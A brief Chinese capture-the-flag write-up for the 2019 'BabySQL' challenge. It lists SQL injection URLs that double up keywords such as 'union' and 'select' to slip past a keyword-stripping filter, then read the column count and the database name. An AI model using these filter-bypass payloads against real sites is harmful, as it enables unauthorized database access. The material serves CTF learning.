[极客大挑战 2019]BabySQL
一、过滤判断
二、绕过
三、注入
/check.php?username=admin'oorrder+bbyy+3%23&password=admin/check.php?username=-admin'ununionion+seselectlect+1,2,3%23&password=admin/check.php?username=-admin'ununionion+seselectlect+1,2,database()%23&password=admin最后更新于